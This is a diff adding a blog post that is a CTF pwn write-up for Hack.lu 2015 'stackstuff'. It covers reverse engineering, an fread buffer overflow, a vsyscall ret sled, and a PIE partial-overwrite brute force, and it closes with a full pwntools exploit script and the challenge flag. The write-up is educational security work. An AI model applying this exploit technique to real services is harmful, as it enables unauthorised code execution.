|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: Hacklu 2015 stackstuff |
| 4 | +date: 2025-07-07 00:23:09 +0300 |
| 5 | +categories: Nightmare-series partial-overwrite |
| 6 | +tags: nightmare buffer-overflow vsyscall x64 partial-overwrite brute-force |
| 7 | +--- |
| 8 | + |
| 9 | +## Information |
| 10 | +- Category: Pwn |
| 11 | +- Points: -- |
| 12 | + |
| 13 | +## Description |
| 14 | +> None |
| 15 | +
|
| 16 | +## Write-up |
| 17 | +First, let’s run the program and see what it does: |
| 18 | +<img src="/images/stuff/run.png" style="border-radius: 14px;"> |
| 19 | + |
| 20 | +As you can see, nothing happens when we run the program. |
| 21 | +So let's do some reverse engineering to figure out what it's actually doing. |
| 22 | + |
| 23 | +<img src="/images/stuff/rev.png" style="border-radius: 14px;"> |
| 24 | + |
| 25 | +As you can see, the program is listening on port ```0x5ea```, which is ```1514``` in decimal (after applying ```htons```). |
| 26 | +So we can interact with the program using **netcat** on ```localhost``` port ```1514```: |
| 27 | +```bash |
| 28 | +nc 127.0.0.1 1514 |
| 29 | + |
| 30 | +``` |
| 31 | +Now we want to see what the program is actually doing by connecting to port 1514 and checking its response. |
| 32 | + |
| 33 | +<img src="/images/stuff/a.png" style="border-radius: 14px;"> |
| 34 | + |
| 35 | +Now we know that the program first reads an integer as a length, then reads that number of bytes from our input. |
| 36 | +To check if there's a **buffer overflow**, we need to understand the logic behind this behavior. |
| 37 | +So let’s go back to **Ghidra** and find the function that handles this input to analyze it more closely. |
| 38 | + |
| 39 | +<img src="/images/stuff/p.png" style="border-radius: 14px;"> |
| 40 | + |
| 41 | +> From the reference string, you can find the function and use **Xref** to locate where it's called. |
| 42 | +{: .prompt-tip} |
| 43 | + |
| 44 | +<img src="/images/stuff/l.png" style="border-radius: 14px;"> |
| 45 | + |
| 46 | +The program uses ```fread()``` and lets the user decide how many bytes to read. |
| 47 | +This makes it easy to create a **buffer overflow** by giving it a large size. |
| 48 | + |
| 49 | +In the next step, we’ll calculate the offset to the **return address**. |
| 50 | +But how do we do that? |
| 51 | +We'll use **pwndbg** and set a breakpoint inside fread to examine the stack and memory layout. |
| 52 | + |
| 53 | +```bash |
| 54 | +gdb -q stackstuff |
| 55 | +pwndbg: loaded 201 pwndbg commands. Type pwndbg [filter] for a list. |
| 56 | +pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them. |
| 57 | +Reading symbols from stackstuff... |
| 58 | +Download failed: Connection refus |
| 59 | +. |
| 60 | +. |
| 61 | +. |
| 62 | +pwndbg> b*check_password_correct + 167 |
| 63 | +Breakpoint 1 at 0xf79 |
| 64 | +pwndbg> start |
| 65 | +... |
| 66 | +pwndbg> c |
| 67 | +``` |
| 68 | + |
| 69 | +Then, make sure the program is listening by connecting to it: |
| 70 | +``` |
| 71 | +nc 127.0.0.1 1514 |
| 72 | +Hi! This is the flag download service. |
| 73 | +To download the flag, you need to specify a password. |
| 74 | +Length of password: 4 |
| 75 | +ABCD |
| 76 | +``` |
| 77 | +Now, after sending some random data to the program, let’s switch to **pwndbg** and see what’s happening under the hood: |
| 78 | +```bash |
| 79 | + |
| 80 | +[Switching to Thread 0x7ffff7dae740 (LWP 113323)] |
| 81 | + |
| 82 | +Thread 2.1 "exe" hit Breakpoint 1, 0x0000555555400f79 in check_password_correct () |
| 83 | +LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA |
| 84 | +─[ REGISTERS / show-flags off / show-compact-regs off ]── |
| 85 | + RAX 0x7fffffffdec0 ◂— 0 |
| 86 | + RBX 0 |
| 87 | + RCX 0x7ffff7f978e0 (_IO_2_1_stdin_) ◂— 0xfbad2088 |
| 88 | + RDX 4 |
| 89 | + RDI 0x7fffffffdec0 ◂— 0 |
| 90 | + RSI 1 |
| 91 | + R8 0 |
| 92 | + R9 0 |
| 93 | + R10 0 |
| 94 | + R11 0x202 |
| 95 | + R12 0x7fffffffe0f8 —▸ 0x7fffffffe53d ◂— 0x4100636578656572 /* 'reexec' */ |
| 96 | + R13 1 |
| 97 | + R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555400000 ◂— jg 0x555555400047 |
| 98 | + R15 0 |
| 99 | + RBP 0x7fffffffe070 —▸ 0x7fffffffe0d0 ◂— 0 |
| 100 | + RSP 0x7fffffffdeb0 —▸ 0x7fffffffdee0 ◂— 0 |
| 101 | + RIP 0x555555400f79 (check_password_correct+167) ◂— call fread@plt |
| 102 | +──────────[ DISASM / x86-64 / set emulate on ]─────────── |
| 103 | + ► 0x555555400f79 <check_password_correct+167> call fread@plt <fread@plt> |
| 104 | + ptr: 0x7fffffffdec0 ◂— 0 |
| 105 | + size: 1 |
| 106 | + n: 4 |
| 107 | + stream: 0x7ffff7f978e0 (_IO_2_1_stdin_) ◂— 0xfbad2088 |
| 108 | + |
| 109 | +... ↓ 5 skipped |
| 110 | +──────────────────────[ BACKTRACE ]────────────────────── |
| 111 | + ► 0 0x555555400f79 check_password_correct+167 |
| 112 | +... |
| 113 | +pwndbg> p/x $rdi |
| 114 | +$2 = 0x7fffffffdec0 |
| 115 | +pwndbg> i f |
| 116 | +Stack level 0, frame at 0x7fffffffdf10: |
| 117 | + rip = 0x555555400f79 in check_password_correct; |
| 118 | + saved rip = 0x555555400fd1 |
| 119 | + called by frame at 0x7fffffffdf20 |
| 120 | + Arglist at 0x7fffffffdea8, args: |
| 121 | + Locals at 0x7fffffffdea8, Previous frame's sp is 0x7fffffffdf10 |
| 122 | + Saved registers: |
| 123 | + rip at 0x7fffffffdf08 |
| 124 | +pwndbg> p/x 0x7fffffffdf08 - $2 |
| 125 | +$3 = 0x48 |
| 126 | +pwndbg> |
| 127 | +``` |
| 128 | +So the offset is ```0x48``` (72 bytes). |
| 129 | +That means we need to send **72 bytes** to reach and control the return address. |
| 130 | +
|
| 131 | +> The program has **PIE** and **NX** mitigations enabled. |
| 132 | +{: .prompt-info} |
| 133 | +
|
| 134 | +Before exiting ```pwndbg```, there’s one important thing to note: |
| 135 | +The **stack must be properly aligned** before calling a function — especially when we're trying to return into one to get the flag. |
| 136 | + |
| 137 | +Since this binary has **PIE** enabled, we can’t hardcode return addresses as usual. |
| 138 | +But there's a trick: we can use a **vsyscall** address as a fake ```ret``` instruction. |
| 139 | +
|
| 140 | +```vsyscall``` is an old mechanism for system calls. Its address is **static** and doesn't change, even with PIE. |
| 141 | + |
| 142 | +This makes it useful as a **ROP NOP** — a return instruction that helps us align the stack or chain our gadgets safely. |
| 143 | +```bash |
| 144 | +pwndbg> vmmap |
| 145 | +... |
| 146 | +0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall] |
| 147 | +pwndbg> |
| 148 | +``` |
| 149 | + |
| 150 | +Earlier, we mentioned that there’s a hidden function in the binary that prints the flag — but where is it exactly? |
| 151 | + |
| 152 | +In **Ghidra**, we can find it easily. Here's what it looks like: |
| 153 | +<img src="/images/stuff/o.png" style="border-radius: 14px;"> |
| 154 | +
|
| 155 | +As you can see, this function directly calls the flag-printing logic. |
| 156 | +Our goal is to redirect execution to this function after bypassing protections. |
| 157 | +
|
| 158 | +```bash |
| 159 | + 0x0000555555401086 <+172>: call 0x555555400fba <require_auth> |
| 160 | + 0x000055555540108b <+177>: lea rsi,[rip+0x36d] # 0x5555554013ff |
| 161 | + 0x0000555555401092 <+184>: lea rdi,[rip+0x3b6] # 0x55555540144f |
| 162 | + 0x0000555555401099 <+191>: call 0x555555400cd0 <fopen@plt> |
| 163 | +``` |
| 164 | +Now we have a function that opens the flag, located at address ending in ```0x8b``` (```0x55555540108b```). |
| 165 | +Because the binary uses **PIE**, the base address is randomized — but **the last byte stays the same**. |
| 166 | +
|
| 167 | +That means we only need to **brute-force the upper byte(s)** of the address. |
| 168 | +Since PIE randomizes a small portion (typically 4 bits in local), there are only ```2^4 = 16``` possibilities. |
| 169 | +
|
| 170 | +So, with at most **16 attempts**, we can guess the correct address and jump to the flag function. |
| 171 | +
|
| 172 | +## Exploit |
| 173 | +```python |
| 174 | +from pwn import * |
| 175 | +
|
| 176 | +context.binary = './stackstuff' |
| 177 | +context.log_level = 'debug' |
| 178 | +
|
| 179 | +vsyscall_ret = p64(0xffffffffff600800) |
| 180 | +padding = b"A" * 0x48 |
| 181 | +fixed_byte = b"\x8b" |
| 182 | +
|
| 183 | +def conn(): |
| 184 | + return remote('127.0.0.1', 1514) |
| 185 | +
|
| 186 | +def make_payload(i): |
| 187 | + return padding + vsyscall_ret * 2 + fixed_byte + bytes([i]) |
| 188 | +
|
| 189 | +def send_payload(r, payload): |
| 190 | + try: |
| 191 | + r.sendline(b'90') |
| 192 | + r.sendline(payload) |
| 193 | + r.recvuntil(b"Length of password: ") |
| 194 | + line = r.recvline(timeout=2) |
| 195 | + log.success(f"Flag line: {line.decode(errors='ignore')}") |
| 196 | + return True |
| 197 | + except EOFError: |
| 198 | + return False |
| 199 | + except Exception as e: |
| 200 | + log.warning(f"Exception while receiving: {e}") |
| 201 | + return False |
| 202 | +
|
| 203 | +def main(): |
| 204 | + i = 0x00 |
| 205 | + while i <= 0xFF: |
| 206 | + log.info(f"Trying byte: {hex(i)}") |
| 207 | + r = conn() |
| 208 | + payload = make_payload(i) |
| 209 | + if send_payload(r, payload): |
| 210 | + log.success(f"Correct byte found: {hex(i)}") |
| 211 | + pause() |
| 212 | + break |
| 213 | + else: |
| 214 | + log.info(f"Byte {hex(i)} failed.") |
| 215 | + i += 0x10 |
| 216 | + r.close() |
| 217 | +
|
| 218 | +if __name__ == "__main__": |
| 219 | + main() |
| 220 | +``` |
| 221 | +
|
| 222 | +## Flag |
| 223 | +Flag: ```flag{g0ttem_b0yz}``` |
0 commit comments